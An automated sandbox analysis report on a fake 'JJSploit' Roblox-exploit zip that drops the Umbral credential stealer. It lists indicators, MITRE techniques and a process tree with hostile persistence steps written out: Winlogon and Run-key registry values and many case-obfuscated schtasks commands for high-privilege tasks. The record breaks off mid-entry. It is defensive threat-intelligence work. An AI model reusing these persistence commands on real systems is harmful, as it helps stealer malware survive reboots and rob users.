umbral | 25e9f3260fa4839cdd0d5831649d747e366eaa52619f3fb072083fc2ff71e085

Analysis

max time kernel
186s
max time network
187s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
17-01-2025 14:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

JJSPLOITRECODE (1).zip
Size

420KB
MD5

28bd80f1840e0df6ee7879891b46d334
SHA1

1bfe169b2d74ead9080fedd983dc766656667fac
SHA256

25e9f3260fa4839cdd0d5831649d747e366eaa52619f3fb072083fc2ff71e085
SHA512

5fd90e4686263a57e14cb123b287e535c650245004ed201444e25f8e7806913efde128118dceead9945ddd7cbe0aa063399262b17bc6ecaea6e82cd02f445d39
SSDEEP

12288:8zhhUOLyUXPVle40fxddquoKaJ/wJ6I545ul6sOw:yMI6xd/ojVQ4j/w

Score

10^/10

umbral discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Detect Umbral payload 6 IoCs

resource	yara_rule
behavioral1/files/0x002800000004613a-44.dat	family_umbral
behavioral1/files/0x0028000000046160-64.dat	family_umbral
behavioral1/memory/1976-76-0x0000019D66550000-0x0000019D66590000-memory.dmp	family_umbral
behavioral1/memory/636-77-0x0000000000400000-0x0000000000E4E000-memory.dmp	family_umbral
behavioral1/memory/4260-619-0x0000000000400000-0x0000000000E4E000-memory.dmp	family_umbral
behavioral1/memory/3196-624-0x0000000000400000-0x0000000000E4E000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\xdwdWPS.exe"	JJSploit.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
2588	powershell.exe
4968	powershell.exe
1836	powershell.exe
4060	powershell.exe
544	powershell.exe
2052	powershell.exe
1124	powershell.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\Control Panel\International\Geo\Nation	RecodeJJSploit.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\Control Panel\International\Geo\Nation	RecodeJJSploit.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\Control Panel\International\Geo\Nation	RecodeJJSploit.exe

Executes dropped EXE 7 IoCs

pid	Process
636	RecodeJJSploit.exe
3736	JJSploit.exe
1976	Umbral.exe
4260	RecodeJJSploit.exe
3196	RecodeJJSploit.exe
1476	Umbral.exe
992	Umbral.exe

Loads dropped DLL 64 IoCs

pid	Process
1424	Process not Found
2100	Process not Found
2076	Process not Found
1216	Process not Found
4876	Process not Found
2316	Process not Found
4904	Process not Found
4376	Process not Found
3416	Process not Found
3000	Process not Found
4152	Process not Found
1348	Process not Found
4764	Process not Found
2860	Process not Found
4264	Process not Found
2032	Process not Found
3400	Process not Found
1476	Umbral.exe
992	Umbral.exe
4568	Process not Found
3484	Process not Found
2588	powershell.exe
1420	Process not Found
2052	powershell.exe
3544	Process not Found
2280	Process not Found
1124	powershell.exe
4616	Process not Found
1304	powershell.exe
2036	Process not Found
8	wmic.exe
4288	Process not Found
1188	wmic.exe
3512	Process not Found
232	Process not Found
4052	wmic.exe
4784	Process not Found
4968	powershell.exe
1764	Process not Found
2744	wmic.exe
4628	Process not Found
1164	Process not Found
1564	Process not Found
560	Process not Found
1728	Process not Found
3784	Process not Found
4636	Process not Found
2996	Process not Found
2428	Process not Found
1436	Process not Found
1868	Process not Found
3600	Process not Found
4456	Process not Found
4192	Process not Found
4516	Process not Found
232	Process not Found
952	Process not Found
2572	Process not Found
4520	Process not Found
1204	Process not Found
564	Process not Found
2136	Process not Found
4616	Process not Found
2388	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinDP = "C:\\Users\\Admin\\xdwdSkype.exe"	JJSploit.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs

Web Service

T1102

flow	ioc
146	pastebin.com
174	pastebin.com
167	pastebin.com
223	pastebin.com
225	pastebin.com
89	pastebin.com
143	pastebin.com
144	pastebin.com
162	pastebin.com
155	pastebin.com
161	pastebin.com
195	pastebin.com
218	pastebin.com
51	pastebin.com
52	pastebin.com
139	pastebin.com
149	pastebin.com
198	pastebin.com
202	pastebin.com
46	pastebin.com
78	pastebin.com
151	pastebin.com
197	pastebin.com
141	pastebin.com
154	pastebin.com
187	pastebin.com
203	pastebin.com
135	pastebin.com
142	pastebin.com
208	pastebin.com
231	pastebin.com
205	pastebin.com
206	pastebin.com
212	pastebin.com
216	pastebin.com
71	pastebin.com
85	pastebin.com
88	pastebin.com
164	pastebin.com
220	pastebin.com
54	pastebin.com
84	pastebin.com
180	pastebin.com
213	pastebin.com
150	pastebin.com
210	pastebin.com
229	pastebin.com
34	pastebin.com
120	pastebin.com
129	pastebin.com
130	pastebin.com
98	pastebin.com
236	pastebin.com
41	pastebin.com
43	pastebin.com
79	pastebin.com
81	pastebin.com
133	pastebin.com
160	pastebin.com
177	pastebin.com
186	pastebin.com
44	pastebin.com
58	pastebin.com
64	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
117	ip-api.com
28	ip-api.com

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\xdwdWPS.exe	JJSploit.exe
File opened for modification	C:\Windows\xdwdWPS.exe	JJSploit.exe
File created	C:\Windows\xdwd.dll	JJSploit.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecodeJJSploit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecodeJJSploit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecodeJJSploit.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3416	PING.EXE
4080	cmd.exe
2068	PING.EXE
3016	cmd.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1796	wmic.exe
2744	wmic.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2068	PING.EXE
3416	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 47 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2356	schtasks.exe
976	schtasks.exe
4088	schtasks.exe
4148	schtasks.exe
3724	schtasks.exe
3512	schtasks.exe
3128	schtasks.exe
1772	schtasks.exe
1984	schtasks.exe
3924	schtasks.exe
4456	schtasks.exe
2744	schtasks.exe
1560	schtasks.exe
8	schtasks.exe
1980	schtasks.exe
2636	schtasks.exe
1168	schtasks.exe
2640	schtasks.exe
2736	schtasks.exe
2504	schtasks.exe
3560	schtasks.exe
2672	schtasks.exe
1868	schtasks.exe
2380	schtasks.exe
4048	schtasks.exe
1692	schtasks.exe
2204	schtasks.exe
4584	schtasks.exe
2672	schtasks.exe
2624	schtasks.exe
4472	schtasks.exe
4420	schtasks.exe
4092	schtasks.exe
2036	schtasks.exe
4636	schtasks.exe
2108	schtasks.exe
4496	schtasks.exe
1852	schtasks.exe
2748	schtasks.exe
2204	schtasks.exe
2876	schtasks.exe
4696	schtasks.exe
4048	schtasks.exe
4904	schtasks.exe
2124	schtasks.exe
4412	schtasks.exe
3552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
1836	powershell.exe
1836	powershell.exe
4060	powershell.exe
4060	powershell.exe
1344	powershell.exe
1344	powershell.exe
1524	wmic.exe
1524	wmic.exe
1524	wmic.exe
1524	wmic.exe
1092	wmic.exe
1092	wmic.exe
1092	wmic.exe
1092	wmic.exe
3336	wmic.exe
3336	wmic.exe
3336	wmic.exe
3336	wmic.exe
544	powershell.exe
544	powershell.exe
1796	wmic.exe
1796	wmic.exe
1796	wmic.exe
1796	wmic.exe
1476	Umbral.exe
1476	Umbral.exe
992	Umbral.exe
992	Umbral.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
8	wmic.exe
8	wmic.exe
8	wmic.exe
8	wmic.exe
8	wmic.exe
8	wmic.exe
1188	wmic.exe
1188	wmic.exe
1188	wmic.exe
1188	wmic.exe
1188	wmic.exe
1188	wmic.exe
4052	wmic.exe
4052	wmic.exe
4052	wmic.exe
4052	wmic.exe
4052	wmic.exe
4052	wmic.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5028	7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	5028	7zFM.exe
Token: 35	5028	7zFM.exe
Token: SeSecurityPrivilege	5028	7zFM.exe
Token: SeDebugPrivilege	3736	JJSploit.exe
Token: SeDebugPrivilege	1976	Umbral.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeIncreaseQuotaPrivilege	4468	powershell.exe
Token: SeSecurityPrivilege	4468	powershell.exe
Token: SeTakeOwnershipPrivilege	4468	powershell.exe
Token: SeLoadDriverPrivilege	4468	powershell.exe
Token: SeSystemProfilePrivilege	4468	powershell.exe
Token: SeSystemtimePrivilege	4468	powershell.exe
Token: SeProfSingleProcessPrivilege	4468	powershell.exe
Token: SeIncBasePriorityPrivilege	4468	powershell.exe
Token: SeCreatePagefilePrivilege	4468	powershell.exe
Token: SeBackupPrivilege	4468	powershell.exe
Token: SeRestorePrivilege	4468	powershell.exe
Token: SeShutdownPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeSystemEnvironmentPrivilege	4468	powershell.exe
Token: SeRemoteShutdownPrivilege	4468	powershell.exe
Token: SeUndockPrivilege	4468	powershell.exe
Token: SeManageVolumePrivilege	4468	powershell.exe
Token: 33	4468	powershell.exe
Token: 34	4468	powershell.exe
Token: 35	4468	powershell.exe
Token: 36	4468	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1524	wmic.exe
Token: SeSecurityPrivilege	1524	wmic.exe
Token: SeTakeOwnershipPrivilege	1524	wmic.exe
Token: SeLoadDriverPrivilege	1524	wmic.exe
Token: SeSystemProfilePrivilege	1524	wmic.exe
Token: SeSystemtimePrivilege	1524	wmic.exe
Token: SeProfSingleProcessPrivilege	1524	wmic.exe
Token: SeIncBasePriorityPrivilege	1524	wmic.exe
Token: SeCreatePagefilePrivilege	1524	wmic.exe
Token: SeBackupPrivilege	1524	wmic.exe
Token: SeRestorePrivilege	1524	wmic.exe
Token: SeShutdownPrivilege	1524	wmic.exe
Token: SeDebugPrivilege	1524	wmic.exe
Token: SeSystemEnvironmentPrivilege	1524	wmic.exe
Token: SeRemoteShutdownPrivilege	1524	wmic.exe
Token: SeUndockPrivilege	1524	wmic.exe
Token: SeManageVolumePrivilege	1524	wmic.exe
Token: 33	1524	wmic.exe
Token: 34	1524	wmic.exe
Token: 35	1524	wmic.exe
Token: 36	1524	wmic.exe
Token: SeIncreaseQuotaPrivilege	1524	wmic.exe
Token: SeSecurityPrivilege	1524	wmic.exe
Token: SeTakeOwnershipPrivilege	1524	wmic.exe
Token: SeLoadDriverPrivilege	1524	wmic.exe
Token: SeSystemProfilePrivilege	1524	wmic.exe
Token: SeSystemtimePrivilege	1524	wmic.exe
Token: SeProfSingleProcessPrivilege	1524	wmic.exe
Token: SeIncBasePriorityPrivilege	1524	wmic.exe
Token: SeCreatePagefilePrivilege	1524	wmic.exe
Token: SeBackupPrivilege	1524	wmic.exe
Token: SeRestorePrivilege	1524	wmic.exe
Token: SeShutdownPrivilege	1524	wmic.exe
Token: SeDebugPrivilege	1524	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5028	7zFM.exe
5028	7zFM.exe
5028	7zFM.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 3736	636	RecodeJJSploit.exe	89
PID 636 wrote to memory of 3736	636	RecodeJJSploit.exe	89
PID 636 wrote to memory of 1976	636	RecodeJJSploit.exe	90
PID 636 wrote to memory of 1976	636	RecodeJJSploit.exe	90
PID 1976 wrote to memory of 2332	1976	Umbral.exe	92
PID 1976 wrote to memory of 2332	1976	Umbral.exe	92
PID 1976 wrote to memory of 4468	1976	Umbral.exe	94
PID 1976 wrote to memory of 4468	1976	Umbral.exe	94
PID 1976 wrote to memory of 1836	1976	Umbral.exe	97
PID 1976 wrote to memory of 1836	1976	Umbral.exe	97
PID 1976 wrote to memory of 4060	1976	Umbral.exe	99
PID 1976 wrote to memory of 4060	1976	Umbral.exe	99
PID 1976 wrote to memory of 1344	1976	Umbral.exe	101
PID 1976 wrote to memory of 1344	1976	Umbral.exe	101
PID 1976 wrote to memory of 1524	1976	Umbral.exe	103
PID 1976 wrote to memory of 1524	1976	Umbral.exe	103
PID 1976 wrote to memory of 1092	1976	Umbral.exe	105
PID 1976 wrote to memory of 1092	1976	Umbral.exe	105
PID 1976 wrote to memory of 3336	1976	Umbral.exe	107
PID 1976 wrote to memory of 3336	1976	Umbral.exe	107
PID 1976 wrote to memory of 544	1976	Umbral.exe	109
PID 1976 wrote to memory of 544	1976	Umbral.exe	109
PID 1976 wrote to memory of 1796	1976	Umbral.exe	111
PID 1976 wrote to memory of 1796	1976	Umbral.exe	111
PID 1976 wrote to memory of 4080	1976	Umbral.exe	113
PID 1976 wrote to memory of 4080	1976	Umbral.exe	113
PID 4080 wrote to memory of 2068	4080	cmd.exe	115
PID 4080 wrote to memory of 2068	4080	cmd.exe	115
PID 3736 wrote to memory of 1924	3736	JJSploit.exe	116
PID 3736 wrote to memory of 1924	3736	JJSploit.exe	116
PID 1924 wrote to memory of 1692	1924	CMD.exe	118
PID 1924 wrote to memory of 1692	1924	CMD.exe	118
PID 3736 wrote to memory of 604	3736	JJSploit.exe	119
PID 3736 wrote to memory of 604	3736	JJSploit.exe	119
PID 604 wrote to memory of 3924	604	CMD.exe	121
PID 604 wrote to memory of 3924	604	CMD.exe	121
PID 3736 wrote to memory of 3720	3736	JJSploit.exe	122
PID 3736 wrote to memory of 3720	3736	JJSploit.exe	122
PID 3720 wrote to memory of 2876	3720	CMD.exe	124
PID 3720 wrote to memory of 2876	3720	CMD.exe	124
PID 3736 wrote to memory of 472	3736	JJSploit.exe	125
PID 3736 wrote to memory of 472	3736	JJSploit.exe	125
PID 472 wrote to memory of 2204	472	CMD.exe	127
PID 472 wrote to memory of 2204	472	CMD.exe	127
PID 3736 wrote to memory of 4676	3736	JJSploit.exe	128
PID 3736 wrote to memory of 4676	3736	JJSploit.exe	128
PID 4676 wrote to memory of 4584	4676	CMD.exe	130
PID 4676 wrote to memory of 4584	4676	CMD.exe	130
PID 3736 wrote to memory of 4636	3736	JJSploit.exe	131
PID 3736 wrote to memory of 4636	3736	JJSploit.exe	131
PID 4636 wrote to memory of 2356	4636	CMD.exe	133
PID 4636 wrote to memory of 2356	4636	CMD.exe	133
PID 3736 wrote to memory of 2824	3736	JJSploit.exe	134
PID 3736 wrote to memory of 2824	3736	JJSploit.exe	134
PID 2824 wrote to memory of 4456	2824	CMD.exe	136
PID 2824 wrote to memory of 4456	2824	CMD.exe	136
PID 3736 wrote to memory of 1172	3736	JJSploit.exe	137
PID 3736 wrote to memory of 1172	3736	JJSploit.exe	137
PID 1172 wrote to memory of 3724	1172	CMD.exe	139
PID 1172 wrote to memory of 3724	1172	CMD.exe	139
PID 3736 wrote to memory of 4960	3736	JJSploit.exe	140
PID 3736 wrote to memory of 4960	3736	JJSploit.exe	140
PID 4960 wrote to memory of 3512	4960	CMD.exe	142
PID 4960 wrote to memory of 3512	4960	CMD.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3596	attrib.exe
2332	attrib.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\JJSPLOITRECODE (1).zip"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5028

C:\Users\Admin\Desktop\RecodeJJSploit.exe
"C:\Users\Admin\Desktop\RecodeJJSploit.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:636
- C:\Users\Admin\AppData\Local\Temp\JJSploit.exe
  "C:\Users\Admin\AppData\Local\Temp\JJSploit.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "DullWave_Cheat" /tr "C:\Windows\xdwdWPS.exe" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "DullWave_Cheat" /tr "C:\Windows\xdwdWPS.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1692
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:604
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "nextup" /tr "C:\Users\Admin\xdwdSkype.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "nextup" /tr "C:\Users\Admin\xdwdSkype.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2876
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:472
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2204
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4584
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2356
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4456
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3724
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3512
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3296
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2744
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3924
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3128
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4528
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4696
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3052
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1168
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4976
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2636
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2072
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2688
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3932
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2036
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3104
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4636
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4376
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2672
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4348
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2640
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4960
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1560
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3168
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2736
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2936
  - - C:\Windows\system32\schtasks.exe
